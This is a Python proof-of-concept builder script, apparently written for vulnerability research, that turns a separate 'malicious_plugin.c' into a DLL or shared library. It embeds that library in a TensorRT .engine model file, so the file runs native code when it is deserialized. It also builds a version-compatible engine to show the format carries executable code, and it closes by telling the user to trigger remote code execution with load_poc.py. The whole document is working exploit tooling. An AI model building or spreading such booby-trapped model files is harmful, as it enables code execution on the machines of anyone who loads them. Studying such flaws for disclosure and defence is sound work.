#!/usr/bin/env python3 """ PoC Builder: Creates a malicious TensorRT engine file with embedded native code. This script: 1. Compiles a malicious DLL/SO with code that executes on load 2. Builds a TensorRT engine embedding the malicious library 3. The resulting .engine file triggers arbitrary code execution when deserialized Usage: python build_poc.py """ import os import sys import subprocess import tempfile import struct import platform SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) PROJECT_DIR = os.path.dirname(SCRIPT_DIR) EVIDENCE_DIR = os.path.join(PROJECT_DIR, "evidence") os.makedirs(EVIDENCE_DIR, exist_ok=True) def find_msvc(): """Find MSVC cl.exe on Windows.""" import glob patterns = [ r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe", r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe", ] for pattern in patterns: matches = glob.glob(pattern) if matches: return sorted(matches)[-1] # Latest version return None def find_msvc_env(): """Find vcvarsall.bat to set up MSVC environment.""" import glob patterns = [ r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat", r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat", ] for pattern in patterns: matches = glob.glob(pattern) if matches: return sorted(matches)[-1] return None def compile_dll_windows(source_path: str, output_path: str) -> bool: """Compile the malicious plugin as a Windows DLL using MSVC.""" vcvarsall = find_msvc_env() if not vcvarsall: print("[!] Could not find vcvarsall.bat") return False # Use cmd.exe to run vcvarsall then compile output_dir = os.path.dirname(output_path) basename = os.path.splitext(os.path.basename(output_path))[0] cmd = f'"{vcvarsall}" x64 && cl.exe /LD /Fe:"{output_path}" "{source_path}" /link /DLL' print(f"[*] Compiling DLL: {cmd}") result = subprocess.run( ["cmd.exe", "/c", cmd], capture_output=True, text=True, cwd=output_dir ) if result.returncode != 0: print(f"[!] Compilation failed:\n{result.stderr}\n{result.stdout}") return False if os.path.exists(output_path): print(f"[+] DLL compiled: {output_path} ({os.path.getsize(output_path)} bytes)") return True print("[!] DLL file not found after compilation") return False def compile_so_linux(source_path: str, output_path: str) -> bool: """Compile the malicious plugin as a Linux .so using gcc.""" cmd = ["gcc", "-shared", "-fPIC", "-o", output_path, source_path, "-Wl,--no-as-needed"] print(f"[*] Compiling: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True) if result.returncode != 0: print(f"[!] Compilation failed: {result.stderr}") return False print(f"[+] SO compiled: {output_path} ({os.path.getsize(output_path)} bytes)") return True def build_engine(plugin_path: str, engine_path: str) -> bool: """Build a TensorRT engine with the malicious plugin embedded.""" try: import tensorrt as trt except ImportError: print("[!] TensorRT not installed: pip install tensorrt") return False print(f"[*] TensorRT version: {trt.__version__}") TRT_LOGGER = trt.Logger(trt.Logger.WARNING) # Create builder and network builder = trt.Builder(TRT_LOGGER) network = builder.create_network( 1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH) ) config = builder.create_builder_config() # Minimal identity network inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224)) identity = network.add_identity(inp) identity.get_output(0).name = "output" network.mark_output(identity.get_output(0)) # CRITICAL: Embed the malicious plugin into the engine file # This serializes the entire binary content of the DLL/SO into the .engine file. # When loaded with engine_host_code_allowed=True, TensorRT extracts and LoadLibrary/dlopen's it. plugin_path_abs = os.path.abspath(plugin_path) print(f"[*] Embedding plugin: {plugin_path_abs}") print(f"[*] Plugin size: {os.path.getsize(plugin_path_abs)} bytes") config.plugins_to_serialize = [plugin_path_abs] print("[*] Building serialized network...") serialized = builder.build_serialized_network(network, config) if serialized is None: print("[!] Engine build failed (build_serialized_network returned None)") print("[!] This may indicate the plugin library format is incompatible") return False engine_bytes = bytes(serialized) with open(engine_path, "wb") as f: f.write(engine_bytes) print(f"[+] Engine saved: {engine_path}") print(f"[+] Engine size: {len(engine_bytes)} bytes") # Verify the plugin binary is embedded in the engine with open(plugin_path_abs, "rb") as f: plugin_bytes = f.read() if plugin_bytes[:64] in engine_bytes: print(f"[+] CONFIRMED: Plugin binary content found embedded in engine file") else: print("[*] Note: Plugin may be stored in a transformed format within the engine") return True def try_version_compatible_engine(engine_path: str) -> bool: """ Alternative: Build a version-compatible engine that embeds the lean runtime. This demonstrates that even WITHOUT custom plugins, the engine format can carry executable code (the lean runtime itself). """ try: import tensorrt as trt except ImportError: return False TRT_LOGGER = trt.Logger(trt.Logger.WARNING) builder = trt.Builder(TRT_LOGGER) network = builder.create_network( 1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH) ) config = builder.create_builder_config() inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224)) identity = network.add_identity(inp) identity.get_output(0).name = "output" network.mark_output(identity.get_output(0)) # Enable version-compatible mode — this embeds libnvinfer_lean into the engine try: config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE) print("[*] Building version-compatible engine (embeds lean runtime)...") serialized = builder.build_serialized_network(network, config) if serialized: engine_bytes = bytes(serialized) vc_path = engine_path.replace(".engine", "_version_compatible.engine") with open(vc_path, "wb") as f: f.write(engine_bytes) print(f"[+] Version-compatible engine: {vc_path} ({len(engine_bytes)} bytes)") print(f"[+] This engine embeds the lean runtime (~40MB of native code)") return True except Exception as e: print(f"[*] Version-compatible build not supported: {e}") return False def main(): print("=" * 70) print("TensorRT Engine File RCE PoC Builder") print("=" * 70) print() source_path = os.path.join(SCRIPT_DIR, "malicious_plugin.c") if not os.path.exists(source_path): print(f"[!] Plugin source not found: {source_path}") sys.exit(1) is_windows = platform.system() == "Windows" # Step 1: Compile the malicious plugin print("[*] Phase 1: Compiling malicious plugin...") if is_windows: plugin_path = os.path.join(EVIDENCE_DIR, "malicious_plugin.dll") success = compile_dll_windows(source_path, plugin_path) else: plugin_path = os.path.join(EVIDENCE_DIR, "libmalicious_plugin.so") success = compile_so_linux(source_path, plugin_path) if not success: print("[!] Plugin compilation failed") sys.exit(1) # Step 2: Build engine with embedded plugin print() print("[*] Phase 2: Building TensorRT engine with embedded malicious code...") engine_path = os.path.join(EVIDENCE_DIR, "malicious_model.engine") success = build_engine(plugin_path, engine_path) if not success: print() print("[!] Engine build with embedded plugin failed.") print("[*] Trying alternative: version-compatible engine...") print() try_version_compatible_engine(engine_path) # Step 3: Also try version-compatible engine as additional evidence print() print("[*] Phase 3: Attempting version-compatible engine build (additional evidence)...") try_version_compatible_engine(engine_path) print() print("=" * 70) print("[*] PoC Build Complete") print(f"[*] Evidence directory: {EVIDENCE_DIR}") print(f"[*] Plugin: {plugin_path}") if os.path.exists(engine_path): print(f"[*] Engine: {engine_path}") print() print("[*] To trigger RCE, run:") print(f" python load_poc.py \"{engine_path}\"") print("=" * 70) if __name__ == "__main__": main()